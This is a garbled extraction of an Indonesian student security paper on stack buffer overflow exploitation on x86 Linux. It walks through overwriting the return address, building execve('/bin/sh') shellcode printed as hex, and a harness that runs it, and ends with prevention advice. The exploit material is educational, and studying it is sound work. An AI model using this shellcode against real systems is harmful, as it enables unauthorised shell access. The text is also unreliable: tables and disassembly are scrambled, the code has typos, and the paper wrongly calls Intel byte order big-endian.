Sunteți pe pagina 1din 17

EKSPLOITASI BUFFER OVERFLOW

PENDAHULUAN
Buffer Overflow merupakan salah satu penyebab yang paling banyak menimbulkan masalah pada keamanan komputer baik yang bersifat lokal maupun jaringan. Menurut laporan CERT/CC, buffer overflow merupkan penyebab dari 50% semua bug keamanan yang dilaporkan dan dijadikan advisori oleh CERT/CC. Riset yang dilakukan oleh Crispin Cowan dan teamnya menganggap buffer overflow sebagai Vulnerbility of Decade. Dengan tersedianya program-program eksploitasi di Internet, baik dalam bentuk source code maupun binary seringkali menjadi menjadi alat untuk membuka celah keamanan sehingga membuat orang tertarik untuk melakukan eksperimen yang sporadis tanpa memperdulikan akibat yang dapat ditimbulkannya. Banyak orang yang mengklaim dirinya sebagai seorang cracker jika sudah berhasil mengekspoitasi komputer orang lain, tanpa memahami cara kerja eksploitasi tersebut sesungguhnya. Terlepas dari masalah tersebut diatas, tulisan ini akan membahas apakah sebenarnya buffer overflow itu dan bagaimana mekanisme untuk mengeksploitasinya/penyerangan menggunakan buffer over flow, cara memperbaiki sistem yang ter-buffer overflow dan bagaimana cara menghindari/mencegah agar sistem kita aman dari serangan melalui eksploitasi buffer overflow. Untuk memahami hal tersebut diatas diperlukan juga pemahaman mengenai cara kerja sistem prosesor di level bawah, seperti pemrograman asembly, manajemen memori text, stack, data dan sebagainya. Pada tulisan ini sebagai referensi dipilih prosesor Intel x86 yang mengorganisasi sistem memori menggunakan 4 byte dan menggunakan Linux sebagai sistem operasinya.

PENGERTIAN DASAR
Manajemen Memori pada Proses Sebuah proses dipandang dari sudut manajemen memori dibedakan menjadi tiga bagian : 1. Text; memuat instruksi kode program. Bagian ini biasanya hanya bisa dibaca, dan setiap usaha untuk menuliskan data ke bagian ini akan menyebabkan kesalahan segmentation violation.
1

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

2. Data; memuat data, baik yang telah diinisialisasi maupun yang belum. Selain dapat dibaca, biasanya bagian ini juga memperbolehkan suatu proses untuk melakukan penulisan padanya. 3. Stack; yang dapat dialokasikan secara dinamis, biasanya dimanfaatkan untuk menyimpan variabel lokal maupun untuk melewatkan parameter fungsi. Pengaksesan data ke bagian ini menggunakan metoda yang disebut LIFO (Last In First Out). Jenis data yang harus juga diketahui adalah buffer yang pada bahasa C diimplementasikan sebagai array. Array dapat dibedakan ke dalam dua jenis berdasarkan metoda pengalokasiannya, yaitu array statis dan array dinamis. Array statis dialokasikan di bagian data saat program dimuatkan ke memori, sedangkan array dinamis dialokasikan di dalam stack saat run time. Stack Stack dapat dibayangkan sebagai sebuah blok dari memori yang dapat memuat data secara dinamis.
Arah memori membesar

MSB

LSB

Memori atas 0x1010 0x100c 0x1008 0x1004 0x1000

Stack bawah

Memori bawah memori stack pada prosesor Intel Stack atas Gambar 1. Blok Arah perkembangan stack Beberapa hal yang harus diketahui pada prosesor Intel sehubungan dengan stack adalah : 1. Penggunaan metoda Big Edian dalam mengorganisasikan sistem memori. Di sini MSB (Most Significant Bit) terletak pada alamat memori yang lebih kecil dibandingkan LSB (Least Significant Bit).
Bambang Dwi K -- 23200036 - 2

Arah stack membesar

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

2. Penambahan besar stack dilakukan kearah alamat memori yang lebih kecil. Di sini posisi bawah dari stack mempunyai alamat yang tetap. Posisi atas stack yang alamat memorinya lebih kecil dari posisi bawah selalu berubah. 3. Register stack pointer (SP) selalu menunjuk ke posisi atas dari stack. 4. Untuk memindahkan data ke stack digunakan instruksi PUSH yang secara otomatis akan menurunkan nilai SP sebesar 4 byte. Sedangkan untuk mengambil data dari stack digunakan instruksi POP yang secara otomatis juga akan menaikkan nilai SP sebesar 4 byte. Gambar 1 memperlihatkan diagram dari sebuah memori stack dari prosesor Intel. Blok memori dari stack ini biasanya di bagi lagi menjadi apa yang disebut dengan stack frame. Setiap stack frame berisi data yang berhubungan dengan pemanggilan sebuah fungsi. Biasanya posisi awal dari frame ini akan ditunjuk oleh frame pointer (FP). Dengan bantuan FP ini, maka pengaksesan ke variabel lokal maupun parameter fungsi dapat dilakukan menggunakan sistem pengalamatan relatif. Pada prosesor Intel, register EBP berfungsi sebagai frame pointer. Cara Kerja Stack Untuk lebih mengerti bagaimana cara kerja stack pada pemanggilan suatu fungsi, sebagai contoh akan dibuat program kecil dalam bahasa C, dan kemudian akan dikonversikan ke dalam bahasa assembly. # coba1.c #include<stdio.h> void fungsi(int satu, int dua) { int buffer[2]; buffer[0]=satu; buffer[1]=dua; } int main() { fungsi(1,2); return 0; } Untuk menghasilkan kode assembly dapat digunakan program gcc dengan menyertakan option S saat mengkompilasi file di atas : $ gcc S o coba1.s coba1.c
Bambang Dwi K -- 23200036 - 3

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Di fungsi main() pemanggilan fungsi fungsi() diubah ke dalam bahasa assembly sebagai berikut : push $2 Push $1 call fungsi
Memori bawah Buffer[0] Buffer[1] EBP RET satu Memori atas dua

Stack atas

Stack bawah Gambar 2. Blok memori dari stack pada pemanggilan fungsi

Sebelum memanggil fungsi fungsi() dua buah argumen sebagai parameter ditambahkan ke stack. Instruksi call di atas secara implisit juga akan menyimpan instruction pointer (IP) ke stack. IP ini selanjutnya akan di sebut dengan return address (RET). Kode assembly yang di bangkitkan pada fungsi fungsi(); 1. pushl %ebp 2. movl %esp, %ebp 3. subl $24,%esp Baris pertama akan menyimpan frame pointer EBP ke stack untuk kemudian di baris kedua menggunakan SP sebagai frame pointer yang aktual. Pada baris ketiga 24 byte memori untuk variabel lokal buffer[ ] dialokasikan di stack, walau hanya 8 byte yang digunakan. 1. movl 8(%ebp), %eax 2. movl %eax, -8(%ebp) 3. movl 12(%ebp), %eax 4. movl %eax, -4(%ebp) Baris diatas adalah pengesetan variabel buffer [ ] dengan parameter dari fungsi. Seperti telihat pada baris pertama, pengaksesan ke parameter satu di stack dilakukan dengan pengalamatan relatif terhadap frame pointer EBP. Setelah nilai ini disimpan di register EAX maka dengan cara yang sama nilai ini di simpan ke stack yang jaraknya 8 byte terhadap frame pointer EBP (baris kedua). Stack ini identik dengan variable buffer[0]. Baris ketiga dan keempat melakukan hal yang sama untuk parameter dua. Dari uraian diatas, maka blok memori stack dapat dilukiskan seperti gambar 2.
Bambang Dwi K -- 23200036 - 4

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Seperti yang sudah dikemukakan diatas, prosesor yang digunakan adalah Intel x86 yang menggunakan bus 32-bit atau 4 byte dalam pengaksesan ke memori, sehingga pengalamatan ke memori selalu merupakan kelipatan 4 byte, sedangkan besar dari tipe data int dan pointer adalah 4 byte juga. Dari gambar diatas terlihat jelas bahwa memori parameter fungsi mempunyai jarak relatif yang positif terhadap frame pointer EBP, sedangkan variable local seperti buffer mempunyai jarak relatif yang negatif. Jika variable lokal merupakan sebuah array, maka array dengan indeks terkecil mempunyai alamat memori yang paling kecil juga. Dengan kata lain elemen variable array di simpan dengan indeks membesar ke arah alamat memori yang juga membesar. Pada stack, ini adalah arah ke posisi bawah dari blok memori stack. Sifat stack inilah yang memungkinkan terjadinya buffer overflow. Buffer Overflow Buffer overflow memiliki arti suatu keadaan di mana data yang diisikan ke suatu buffer mempunyai ukuran yang lebih besar dibandingkan ukuran buffer itu sendiri. Untuk lebih memahami buffer overflow, dapat dianalogikan dengan kehidupan sehari-hari, yaitu saat kita mengisi bak mandi melebihi daya tampungnya, maka air yang kita isikan akan meluap (overflow). Berikut ini contoh sebuah program dalam bahasa C yang mengandung buffer overflow. # Coba2.c #include<stdio.h> void fungsi(char* txt) { char buffer[4]; strcpy(buffer, txt); } int main() { char buffer[17]; int i; for (I=0; i<16;I++) buffer[i]=0x19; fungsi(buffer); return 0;
Bambang Dwi K -- 23200036 - 5

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

} Setelah sukses dikompilasi maka ketika program diatas dieksekusi akan ada pesan segmentation violation. Mengapa demikian ? Karena di fungsi fungsi(), variable array buffer didefinisikan hanya berukuran 4 byte, sedangkan data yang disalinkan kepadanya berukuran sebesar 17 byte. Sebagai catatan, fungsi stcpy() akan menyalinkan data yang direferensi oleh pointer txt ke buffer sampai karakter null ditemukan di txt. Berikut ini adalah sintaks fungsi strcpy : Char *strcpy(char *dest, const char *src); Kondisi blok memori stack saat ter-overflow setelah pemanggilan fungsi diatas dapat dilihat pada gambar 3.
Memori bawah Buffer[ ] 0x19191919 Stack atas EBP 0x19191919 RET 0x19191919 Memori atas *txt 0x19191919 Stack bawah Gambar 3. Keadaan blok memori stack saat ter-overflow

Seperti terlihat pada gambar, data yang mempunyai nilai karakter 0x19 sebesar 17 byte disalinkan ke memori stack mulai dari alamat buffer[0] ke arah stack bawah sampai memori stack yang mempunyai pointer *txt. Akibat yang fatal adalah termodifikasinya memori stack yang menyimpan alamat fungsi kembali RET. Dalam hal ini nilai RET berubah menjadi 0x19191919 yang merupakan alamat memori yang instruksinya akan dipanggil setelah fungsi fungsi() selesai dikerjakan. Tentu hal ini akan menyebabkan kesalahan karena instruksi yang terdapat pada alamat memori tersebut bukanlah instruksi yang valid. Kondisi diatas menjadi prinsip apa yang disebut dengan eksploitasi buffer overflow, yaitu membuat buffer ter-overflow sehingga nilai dari RET termodifikasi untuk mengubah alur dari instruksi program sesuai dengan keinginan kita.

MEKANISME EKSPLOITASI BUFFER OVERFLOWS


Secara prinsip ada dua hal penting yang harus dilakukan dalam proses eksploitasi buffer overflow. Pertama harus membuat instruksi yang di kehendaki agar dijalankan setelah buffer ter-overflow. Instruksi yang biasanya berupa kode assembly ini harus
Bambang Dwi K -- 23200036 - 6

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

dikonversikan ke data heksadesimal. Kedua, harus menghitung alamat posisi RET dalam stack dan alamat kode instruksi. Kemudian alamat kode instruksi ini harus dimasukkan ke dalam nilai RET, sehingga jika buffer ter-overflow instruksi tersebut dijalankan. Menghasilkan instruksi dan kemudian mengkonversinya ke format bilangan heksadesimal bukanlah hal yang mudah, perlu pemahaman cara menghitung alamat posisi RET di stack dan bagaimana cara memodifikasinya. Memodifikasi Nilai RET Untuk lebih mudah dimengerti, dibawah ini contoh program kecil yang tujuannya memodifikasi nilai RET sehingga instruksi yang seharusnya dikerjakan setelah pemanggilan suatu fungsi akan dilompati. # Coba3.c #include<stdio.h> void fungsi(int satu, int dua) { int buffer[2]; int* tmp; // Jarak ke RET 3*4 byte tmp = buffer+3; //Modifikasi isi dari RET *tmp = *tmp + 10; } int main() { int a; a=1; fungsi(1,2); // Instruksi a=2 akan dilompati a=2; printf(%d\n,a); return 0; } Pada pemanggilan fungsi fungsi() nilai RET dimodifikasi di dalam fungsi tersebut, sehingga instruksi a=2 yang seharusnya dikerjakan setelah kembali dari fungsi akan dilompati.
Bambang Dwi K -- 23200036 - 7

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Program diatas dikompilasi dengan option ggdb agar nanti juga dapat dimanfaatkan oleh tool gdb. $ gcc -ggdb -o coba3 coba3.c

Seperti yang diharapkan, setelah program coba3 dieksekusi, maka dilayar monitor akan keluar tampilan 1 dan bukan 2, karena instruksi a=2 tidak dikerjakan. Di bawah ini dipaparkan secara detail bagaimana hal ini bias terjadi. Nilai memori stack yang menyimpan nilai RET dapat dihitung dari jarak antara alamat buffer[ ] dengan alamat RET yaitu sebesar 12 byte. Nilai 3 di atas didapatkan karena operasi aritmatika terhadap sebuah pointer tergantung dari tipe data, yang dalam kasus ini adalah int yang mempunyai ukuran 4 byte. Hal berikut yang harus dilakukan adalah menghitung jarak RET ke alamat yang ingin di tuju yaitu baris yang memanggil fungsi printf(). Jarak ini akan ditambahkan ke nilai RET untuk melompati baris instruksi a=2. Nilai 10 diatas bukanlah hasil kira-kira atau tebak-tebakan, melainkan dihitung dengan bantuan program gdb. $ gdb coba3 (gdb) disassemble main Dump of assembler code for function main : Ox8048430 <main> : push %ebp Ox8048431 <main+1> : move %esp,%ebp Ox8048433 <main+3> : sub $0x18,%esp Ox8048436 <main+6> : movl $0x1,0xfffffffc(%ebp) Ox804843d <main+13> : add 0xfffffff8,%esp Ox8048440 <main+16> : push $0x2 Ox8048442 <main+18> : push $0x1 Ox8048444 <main+20> : call 0x8048410 <fungsi> Ox8048449 <main+25> : add $0x10,%esp Ox804844c <main+28> : movl $0x2,0xfffffffc(%ebp) Ox8048453 <main+35> : add $0xfffffff8,%esp Ox8048456 <main+38> : mov 0xfffffffc(%ebp),%eax Ox8048459 <main+41> : push %eax Ox804845a <main+42> : push $0x80484e4 Ox804845f <main+47> : call Ox8048300 <printf> Setelah fungsi fungsi() selesai dikerjakan maka seharusnya instruksi pada alamat 0x8048449 <main+25> dikerjakan, karena alamat 0x8048449 inilah yang disimpan oleh RET. Sedang instruksi a=2 yang ingin dilompati dapat dilihat pada alamat
Bambang Dwi K -- 23200036 - 8

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

0x804844c <main+28>. Jarak yang diinginkan dapat dihitung dengan mengurangi alamat instruksi berikutnya dengan alamat RET, yaitu 0x8048453-0x8048449=0xA atau 10. Perubahan nilai RET dengan cara seperti diatas hanyalah sebuah contoh yang mungkin tidak ada dalam dunia pemrograman. Pada hampir semua kasus, pengubahan nilai RET biasanya dilakukan dengan memanfaatkan buffer overflow seperti pada program coba2.c Pada program tersebut pointer *txt akan mengacu ke data buffer yang berisi instruksi yang akan dikerjakan setelah stack ter-overflow. Untuk itu nilai RET juga harus dimodifikasi sehingga mengacu ke instruksi tersebut.

MEMPERBAIKI SISTEM YANG MENGALAMI BUFFER OVERFLOWS


Untuk maksud tersebut diatas caranya dengan membuat program yang menghasilkan kode instruksi Shell. Instruksi ini digunakan untuk dipanggil jika buffer teroverflow. Banyak sekali faktor yang berpengaruh pada kondisi ini. Salah satunya adalah berapa besar buffer yang dapat digunakan untuk menampung instruksi. Sebagai contoh akan dibahas program di bawah yaitu cara membuat kode instruksi shell yang di tulis dalam bahasa C. # buffercode.c #include <stdio.h> int main() { char* cmd[2]; cmd[10] = /bin/sh; cmd[1] = NULL; execve(cmd[0], cmd, NULL); return 0; } Yang penting diperhatikan adalah baris execve(cmd[0], cmd, NULL) yang akan menjalankan shell baru /bin/sh. Agar nantinya dapat dikonversi ke dalam format heksadesimal, sebelumnya harus tahu instruksi di atas dalam bahasa assembly. Pertama-tama instruksi tersebut dikompilasi dengan menggunakan option static agar fungsi execve() juga dimasukkan ke obyek program. $ gcc -ggdb -static -o buffercode buffercode.c

Kemudian dengan program gdb atau ddd akan dibandingkan program diatas dengan instruksi assembly. $ gdb buffercode
Bambang Dwi K -- 23200036 - 9

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

.. (gdb) disassembly main Ox8048le0 <main> :push Ox8048le1 <main+1> :move Ox8048le3 <main+3> :sub Ox8048le6 <main+6> :movl Ox8048led <main+13> :movl Ox8048lf4 <main+20> :add Ox8048le7 <main+23> :push Ox8048le9 <main+25> :lea Ox8048lfc <main+28> :push Ox8048lfd <main+29> :mov Ox8048200 <main+32> :push Ox8048201 <main+33> :call Ox8048206 <main+38> :add Ox8048209 <main+41> :xor 0x804820b <main+43> :jmp Ox804820d <main+45> :lea Ox8048210 <main+48> :mov Ox8048212 <main+50> :pop Ox8048213 <main+51> :ret 1. 2. 1. 2.

%ebp %esp,%ebp $0x18,%esp $0x8089bc8,0xfffffff8(%ebp) $0x0,0xfffffffc,(%ebp) $0xfffffffc,%esp $0x0 0fffffff8(%ebp),%eax %eax 0xfffffff8(%ebp),%eax %eax 0x804c460 <_execve> $0x10,%esp %eax,%eax 0x8048210 <main+48> 0x0(%esi),%esi %ebp,%esp %ebp

instruksi cmd[0] = /bin/sh; cmd[1] = NULL; identik dengan movl $0x8089bc8,0xfffffff8(%ebp) movl $0x0,0xfffffffc(%ebp) Nilai 0x8089bc8 yang merupakan alamat memori string /bin/sh disalinkan ke cmd[0]. Sebagai catatan, bentuk dari 0xfffffff8(%ebp) berarti pengalamatan negatif, relatif terhadap register EBP. Nilai 0xfffffff8 adalah bentuk komplementer, yang nilai negatifnya didapatkan dengan cara berikut : negasi dari 0xfffffff8 adalah 0x00000007 tambahkan hasilnya dengan satu, 0x00000007+1=0x00000008 Dengan demikian, instruksi movl $0x8089bc8,0xfffffff8(%ebp) identik dengan movl $0x8089bc8, -8(%ebp). Sebelum memanggil system call execve(), argumen yang dibutuhkan akan disalinkan terlebih dahulu ke dalam stack dengan urutan dari belakang seperti berikut : Ox80481f7 <main+23> Ox80481f9 <main+25> Ox80481fc <main+28> : push $0x0 : lea 0xfffffff8(%ebp),%eax : push %eax
Bambang Dwi K -- 23200036 - 10

1. 2.

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Ox80481fd Ox8048200 Ox8048201 Ox8048460

<main+29> <main+32> <main+33> <_execve>

: mov 0xfffffff8(%ebp),%eax : push %eax : call

Mula-mula NULL disalinkan ke stack, kemudian lewat register EAX alamat cmd[ ] juga disalinkan ke stack. Yang terakhir, alamat string /bin/sh, juga dengan bantuan register EAX, disalinkan ke stack, sebelum sistem call execve() dipanggil. Pada Linux, fungsi sistem call akan dipanggil lewat software-interrupt. Argumen yang di sertakan harus di salinkan ke register yang sudah di tentukan. Semua fungsi sistem call ini disimpan dalam sebuah tabel yang dapat diaktifkan lewat indeksnya. Fungsi execve() ini mempunyai indeks nomor 0xb. Kode assembly dari fungsi ini dapat dilihat dengan bantuan gdb. Akan diperlihatkan beberapa kode penting fungsi tersebut : (gdb) disassemble _execve . Ox804c46d <_execve+13> Ox804c470 <_execve+16> Ox804c472 <_execve+18> Ox804c474 <_execve+20> Ox804c479 <_execve+25> Ox804c47c <_execve+28> Ox804c47f <_execve+31> Ox804c480 <_execve+32> Ox804c482 <_execve+34> Ox804c487 <_execve+39> .

: : : : : : : : : :

mov 0x8(%ebp),%edi test %eax,%eax je Ox804c479 <_execve+25> call 0x0 mov 0xc(%ebp),%ecx mov 0x10(%ebp),%edx push %ebx mov %edi,%ebx mov $0xb,%eax int $0x80

Mula-mula alamat string/bin/sh disalinkan ke register EDI, lalu alamat cmd[ ] juga disalinkan ke register ECX, dilanjutkan dengan penyalinan pointer NULL ke register EDX. Alamat string /bin/sh yang tersimpan di register EDI akan dipindahkan ke register EBX. Indeks nomor 0xb fungsi execve() akan disalinkan ke regoster EAX terlebih dahulu sebelum akhirnya software-interupt nomor 0x80 dipanggil. Secara ringkas untuk membuat kode shell berikut ini adalah beberapa hal yang harus dilakukan : mendefinisikan string /bin/sh di memori menentukan alamat string di atas 3. menyalinkan alamat array, dengan indeks pertama array ini mengacu ke string di atas, dan indeks kedua yang berisi pointer NULL, ke register EBX (lihat gambar 4). 4. menyalinkan alamat string di atas ke register ECX 5. menyalinkan alamat NULL ke register EDX
Bambang Dwi K -- 23200036 - 11

1. 2.

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

6. menyalinkan 0xb ke register EAX 7. mengeksekusi instruksi int 0x80 Alamat cmd[0] Alamat cmd[1] Cmd[0] Cmd[1] /bin/sh NULL

Gambar 4. Argumen dari system call execve()

Langkah diatas selanjutnya harus diimplementasikan ke dalam kode assembly sebagai berikut : # shellcode.c #include <stdio.h> int main () { _asm_( jmp ekor kepala: popl %esi movl %esi,0x8(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 ekor: call kepala .string\/bin/sh\ ); return 0; } Instruksi jmp dan call di atas digunakan agar alamat string /bin/sh disalinkan ke stack sebagai RET setelah instruksi call dieksekusi. Dengan demikian alamat string dapat dengan mudah ditentukan. Program diatas jika dieksekusi akan menghasilkan kesalahan, hal ini diakibatkan halaman kode pada sistem operasi Linux hanya boleh di baca saja, dan tidak boleh di modifikasi sendiri.

Bambang Dwi K -- 23200036

- 12

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Untuk menguji program diatas maka harus dikonversikan ke bentuk heksadesimal terlebih dahulu. Hal ini dapat dilakukan dengan program gdb, tepatnya dengan instruksi x/bx. $ gdb shellcode (gdb) disassemble main Dump of assembler code for function main : Ox80483e0 <main> : push %ebp Ox80483e1 <main+1> Ox80483e3 <main+3> (gdb) x/bx main+3 0x80483e4 <main+3> 0x80483e4 <main+4> 0x80483e5 <kepala> . : move %esp,%ebp : jmp 0x80483fe<ekor>

: 0xeb (gdb) <ENTER> : 0x19 (gdb) <ENTER> : 0x5e

Hasil konversi instruksi assembly ke data heksadesimal adalah seperti berikut : \xeb\x1a\x5e\x89\x76\x08\xc7\x46\x0c\ x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x0 8\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\ x6e\x2f\x73\x68\x00\x31\xc0\ xeb\x00\x89\xec\x5d\xc3 Untuk mencoba bahwa instruksi yang sudah dikerjakan berfungsi, perlu dibuat program kecil untuk mengeksekusi data hasil konversi diatas : # test-shellcode.c #include<stdio.h> char shellcode []= \xeb\x1a\x5e\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00\ xb8\x0b\x00 \x00\x00\x89\xf3\x8d\x4e\x08\x8d\ x56\ x0c\ xcd\ x80\xe8\xe1\xff\xff \xff\x2f\x62\x69\x6e\ x2f\x73\x68\ x00\ x31\ xc0\ xeb\ x00\ x89\ xec\ x5d\xc3; int main() { int* ret; ret=(int*)&ret+2; (*ret) = (int)shellcode;
Bambang Dwi K -- 23200036 - 13

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

return 0; } Setelah dikompilasi dan dieksekusi, maka pada monitor terlihat tampilan shell yang menunjukkan bahwa instruksi yang ditulis berfungsi. $ gcc -o test-shellcode test-shellcode.c $ ./test-shellcode sh-2.05$ Pada proses eksploitasi, maka instruksi dalam bentuk heksadesimal diatas akan dilewatkan ke parameter fungsi yang mempunyai buffer yang dapat di-overflow. Tentu saja instruksinya masih harus dimodifikasi sedikit, sehingga nilai RET akan termodifikasi dan mereferensi ke instruksi awal data di atas (tepatnya dalam hal in instruksi JMP)

MENCEGAH BUFFER OVERFLOW


Ada sebuah ungkapan yang bagus sekali mencegah lebih baik daripada mengobati. Hal yang sama berlaku juga pada buffer overflow. Mencegah buffer overflow jauh lebih baik dari pada memperbaikinya. Namun adalah lebih mudah mengatakan daripada melakukannya, terlebih lagi bila menggunakan bahasa pemrograman C. Hal ini disebabkan karena : 1. C tidak memeriksa batasan array dan referensi pointer secara otomatis 2. Banyak fungsi-fungsi yang disediakan oleh library standar C yang tidak aman Namun demikian, keadaan tersebut tidak mengurangi riset-riset yang dilakukan untuk mencegah terjadinya buffer overflow. Berikut ini beberapa metoda yang digunakan untuk mencegah buffer overflow]: Keterangan
Membaca sebuah baris dari stdin ke buffer Menyalinkan sember ke buffer Menambahkan string ke lain Mencetak berdasarkan format string Membaca stream string sebuah sebuah string output suatu

Nama Fungsi
Gets (char *s) Strcpy *dest, *src) Strcat *dest, *src) (char char (char char

Alternatif Solusi
Menggunakan fgets (char *s, int size, FILE *stream) Gunakan strncpy (char *dest, const char *scr, size_t n) Gunakan strncat (char *dest, const char *src, size_t n) Gunakan snprintf (char *str, size_t size, const char *format,..) Gunakan precision specifer
Bambang Dwi K -- 23200036 - 14

const

const

Sprintf (char *str, const char *format) Fscanf (FILE *stream, const char

input dari pointer

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

sesuai dengan format tertentu Membaca input dan stream pointer sesuai dengan format tertentu Mengembalikan nama path absolut

*format, ..) Fscanf (FILE *stream, const char *format,.) Realpath (const char *path, char *resolved_path) Gunakan specifer precision

Memparsing option perintah baris

Getopt_log (int argc, char * const argv [ ], const char *optstring, const struct option *longopts, int *longindex)

Alokasikan buffer sebesar MAXPATHLEN, serta periksa juga argumen untuk memastikan bahwa argumen input tidak lebih panjang daripada MAXPATHLEN Potong semua input string agar berukuran cukup sebelum memberikannya ke fungsi ini

Melakukan pemrograman yang baik adalah sebuah tugas yang sulit, terlebih lagi bila program tersebut di tulis dengan bahasa C. Berikut adalah beberapa hal yang disarankan dalam melakukan pemrograman dengan bahasa C. Penggunaan fungsi standar C yang lebih aman. Beberapa fungsi standar C seharusnya dihindari, karena mereka tidak melakukan pengecekan terhadap panjang string yang dimasukkan. Berikut ini adalah beberapa buah fungsi standar C umum yang tidak aman beserta alternatif solusinya: Salah satu program yang menggunakan metoda ini adalah libsafe. Libsafe akan mencegah semua panggilan ke fungsi-fungsi yang diketahui tidak aman, kemudian ia akan menggantikannya dengan fungsi-fungsi serupa dengan yang awal namun memiliki fasilitas untuk memastikan bahwa semua buffer overflow berada di dalam stack frame yang aktif. Memeriksa Indeks Indeks yang digunakan untuk memanipulasi sebuah array harus diperiksa dengan teliti. Perhatikan contoh kode di bawah ini : For (int i=0; i<=n; i++) { data[i] = .; Instruksi diatas mungkin akan menyebabkan kesalahan karena penggunaan tanda <= alih-alih <, karena akses dilakukan di luar akhir array. Masalah yang sama juga ditemui pada string, dan harus selalu diingat untuk menambahkan satu byte untuk karakter null terakhir.
Bambang Dwi K -- 23200036 - 15

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Memvalidasi Data Sebuah program yang berjalan dengan privilege tinggi, mengharuskan pelindungan semua data dan harus menganggap semua data yang masuk harus dicurigai. Perhatikan contoh kode berikut : Char nama[256]; Scanf(%s, nama); Kode diatas berbahaya karena array nama tidak dibatasi besarnya. Solusi yang lebih baik adalah sebagai berikut : Char nama[256]; Scanf(%255s, nama); yang membatasi string nama yang dimasukkan sebesar 255 karakter. Selain memeriksa ukuran input yang dimasukkan, program juga harus memeriksa bahwa data yang dimasukkan asalah data yang valid. Misalnya, jika program meminta input berupa tipe data integer, maka program harus memastikan bahwa input yang diberikan oleh user bener-bener bertipe integer, bukan lainnya. Dalam bahasa pemrograman C, terdapat beberapa fungsi yang berguna untuk memeriksa tipe-tipe macam ini, yaitu isalnum(), isprint(), dan sebagainya. Buffer Non-Executable Konsepnya adalah membuat segmen data sebuah program tidak dapat dieksekusi (non-executable). Dengan menjadikannya tidak dapat dieksekusi maka tidaklah mungkin bagi penyerang untuk mengeksekusi kode yang mereka masukkan ke buffer input program korban. Cara ini digunakan pada sistem operasi komputer lama, tetapi pada sistem operasi UNIX dan MS Windows teknik ini tidak digunakan, karena keduanya tergantung pada kemampuan memasukkan kode dinamis ke dalam segemen data program untuk mendukung berbagai optimisasi kinerja. Array Bounds Checking Meskipun memasukkan kode adalah sebuah tindakan opsional bagi serangan buffer overflow, pengkorupsian aliran kendali merupakan hal yang penting. Dengan menggunkan metoda array bouns checking akan menghentikan vulnerability dan serangan buffer overflow. Jika sebuah array tidak dapat di overflow, maka array tersebut tidak dapat digunkan untuk mengkorupsi program yang terletak di alamat memori berikutnya.
Bambang Dwi K -- 23200036 - 16

TUGAS E L - 695

KEAMANAN SISTEM INFORMASI

Untuk mengimplementasikan metoda ini, semua pembacaan dan penulisan ke array harus diperiksa untuk memastikan bahwa mereka tidak melampaui batasan array. Code Pointer Integrity Checking Tujuan dari metode ini agak berbeda dengan bounds checking. Alih-alih berusaha mencegah korupsi code pointer, ia berusaha mendeteksi bahwa sebuah code pointer telah tekorupsi sebelum ia di-deferensikan. Jadi meskipun penyerang sukses dalam mengkorupsi code pointer, code pointer yang terkorupsi tidak akan digunakan karena korupsi terdeteksi setiap saat sebelum digunakan.

PENUTUP
Pemahaman mengenai serangan dibalik skenario buffer overflow merupakan suatu hal yang cukup penting karena ternyata mekanismenya cukup sederhana untuk dipahami tetapi merupakan cara penyerangan yang merupakan kasus terbanyak dari penyerangan terhadap komputer di timgkat lokal maupun jaringan. Dengan tulisan ini diharapkan dapat menolong mengatasi persoalan penyerangan di balik sekenario buffer overflow dengan cara mengadopsi petunjuk diatas dengan beberapa modifikasi yang diperlukan dan bagi para cracker kiranya tidak begitu saja puas dengan berhasil melakukan serangan dengan mekanisme ini tanpa dilengkapi pemahaman sekenario di balik penyerangan diatas.

PUSTAKA
1. CERT. http://www.cert.org/ 2. Crispin Cowan, et.al., Buffer Overflows: Attacks and Defense for Vulerability of Decade. 2000. 3. Frederic Raynal, Christophe Blaess, Christophe Grenier, Avoiding Security Hole When Developing an Application : Part 2, LinuxFocus,2001 4. Gary McGraw dan John Viega, Preventing Buffer Overflows, http://www-4.ibm.com/software/developer/library/overflows/index.html,2000.

Bambang Dwi K -- 23200036

- 17

S-ar putea să vă placă și